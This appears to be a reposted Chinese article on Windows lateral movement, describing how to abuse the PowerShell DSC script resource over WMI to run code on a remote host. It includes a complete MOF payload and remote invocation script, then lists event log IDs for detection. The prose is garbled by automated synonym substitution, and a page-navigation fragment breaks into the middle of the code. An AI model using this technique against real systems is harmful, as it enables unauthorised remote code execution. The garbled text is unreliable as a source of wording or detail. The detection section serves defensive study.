横向渗透技巧简介
PowerShell期望状态设置设置设备摆设摆设(DSC)容许必要履行的资本直接应用WMI,在DSC WMI类的赞助下,我们可以经由过程滥用内置脚本资本来实现PowerShell代码的远程履行。
这样的横向渗透技巧有如下几点好处:
1.PowerShell将在WMI办事-wmiprvse.exe情况下履行,从躲避检测的角度来说这是一个上风。
2.Payload的每一个组件都跟WMI有关系。
3.无需设置设置设备摆设摆设DSC办事。
横向渗透技巧要求
1.ResourceTest措施必须在MSFT_DSCLocalConfigurationManager这个WMI类中,该类需位于root/Microsoft/Windows/DesiredStateConfiguration命名空间中。留意:进击者还可以选择调用ResourceGet或ResourceSet措施。PowerShell DSC是在PowerShell v4中引入的,以是这项技巧并不适用于整个主机。
2.默认环境下,假如你要远程调用WMI措施,你必要拥有治理员凭据。WMI的安然是经由过程DCOM或WSMan安然设置来实现的,在建立远程连接时,WMI是经由过程目标命名空间的安然描述符实现的(root/Microsoft/Windows/DesiredStateConfiguration)。
进击PoC
第一步便是筹备Payload若何履行。你必要在目标主机上履行的PowerShell代码必如果MOF款式的,下面给出的是一份Payload样本:
$MOFContents= @’
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
ResourceID =”[Script]ScriptExample”;
GetScript = “\”$(Get-Date): Iam being GET\” | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True”;
TestScript = “\”$(Get-Date): Iam being TESTED\” | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append;return $True”;
SetScript = “\”$(Get-Date): Iam being SET\”| Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True”;
SourceInfo = “::3::5::Script”;
ModuleName = “PsDesiredStateConfiguration”;
ModuleVersion = “1.0”;
ConfigurationName =”ScriptTest”;
};
instance of OMI_ConfigurationDocument
{
Version=”2.0.0″;
MinimumCompatibleVersion =”1.0.0″;
CompatibleVersionAdditionalProperties={“Omi_BaseResource:ConfigurationName”};
Author=”TestUser”;
GenerationDate=”02/26/201807:09:21″;
GenerationHost=”TestHost”;
Name=”ScriptTest”;
};
‘@
这里,独一必要改动的便是PowerShell Payload。在我们的样例中,我们将调用ResourceTest措施,该措施会返回上面的“TestScript”属性。必要留意的是,特殊字符必要转义处置惩罚。
下一步便是把MOF转换成二进制形式,这种数据形式也是ResourceTest措施要求的:
#Change this to false if you want to test the payload locally
$ExecuteRemotely= $True
$NormalizedMOFContents= [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes= [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize= [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
if($ExecuteRemotely) {
# Prepend the length of the payload
[Byte[]] $MOFBytes = $TotalSize +$NormalizedMOFBytes
}else {
# If executing locally, you do notprepend the payload length
[Byte[]] $MOFBytes = $NormalizedMOFBytes
}
在上述样例中,假如你想在本地测试你的Payload,请不要在Byte数组中添加Payload长度。Payload精确编码之后,剩下的便是在目标主机上履行Payload了。
#Specify the credentials of your target
$Credential= Get-Credential -Credential TempUser
$ComputerName= ‘TargetHost’
#Establish a remote WMI session with the target system
$RemoteCIMSession= New-CimSession -ComputerName $ComputerName -Credential $Credential
$LCMClass= Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration-ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
if($LCMClass -and $LCMClass.CimClassMethods[‘ResourceTest’]) {
# You may now proceed with lateralmovement
$MethodArgs = @{
ModuleName=’PSDesiredStateConfiguration’
ResourceType= ‘MSFT_ScriptResource’
resourceProperty= $MOFBytes
}
$Arguments = @{
Namespace=’root/Microsoft/Windows/DesiredStateConfiguration’
[1] [2]下一页
ClassName= ‘MSFT_DSCLocalConfigurationManager’
MethodName= ‘ResourceTest’
Arguments= $MethodArgs
CimSession= $RemoteCIMSession
}
# Invoke the DSC script resource Testmethod
# Successful execution will be indicatedby “InDesiredState” returning True and ReturnValue returning 0.
Invoke-CimMethod @Arguments
}else {
Write-Warning ‘The DSC lateral movementmethod is not available on the remote system.’
}
在上面的例子中,大年夜家请留意,我首先验证了远程类和措施的优先级。在应用WMI技巧时,我们建议大年夜家首先验证远程类和措施的优先级。
接下来,代码会将Payload下载到目标主机的磁盘中。假如你想要应用WMI来远程获取文件内容,你可以共同应用【这项技巧】。除此之外,我这里还应用了CIM cmdlet,这个功能是在PowerShell v3中引入的,假如你必要适用v2版本的话,你还可以应用旧版本的WMI cmdlet。
终端检测&保护
幸运的是,我们可以经由过程反省事故日志来发明这种进击活动,并进行及时检测。
Microsoft-Windows-PowerShell/Operational事故日志
EventID: 53504
“PowerShell Named Pipe IPC”事故注解PowerShell AppDomain已启用。当DSC履行脚本资本时,这个事故会自动捕捉“DscPsPluginWkr_AppDomain”。而AppDomain对付一次DSC履行来说是独一的,下面是一个事故样例:
Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain:DscPsPluginWkr_AppDomain.
“Windows PowerShell”事故日志
EventID: 400
在正常的PowerShell日志中,事故ID 400注解一个新的PowerShell主机进程被创建。当DSC脚本资本履行时,它会天生一个独一的事故日志条款,并对其进行署名。下面是一个样例(引擎状态从NONE转换成了Available):
Details:
NewEngineState=Available
PreviousEngineState=None
SequenceNumber=13
HostName=Default Host
HostVersion=5.1.17134.81
HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d
HostApplication=C:\Windows\system32\wbem\wmiprvse.exe
EngineVersion=5.1.17134.81
RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
Microsoft-Windows-DSC/Operational事故日志
EventID: 4102
当一个DSC资本被发送至目标主机之后,系统会相应这个事故。假如目标主机存在于一个谋略机域中,那么系统会返回履行这个DSC资本的用户SID以及源主机信息。下面是事故样本信息:
Job{893F64B5-ABBF-11E8-B005-D336977413FC} :
OperationInvoke-DscResource started by user sidS-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.
上一页[1] [2]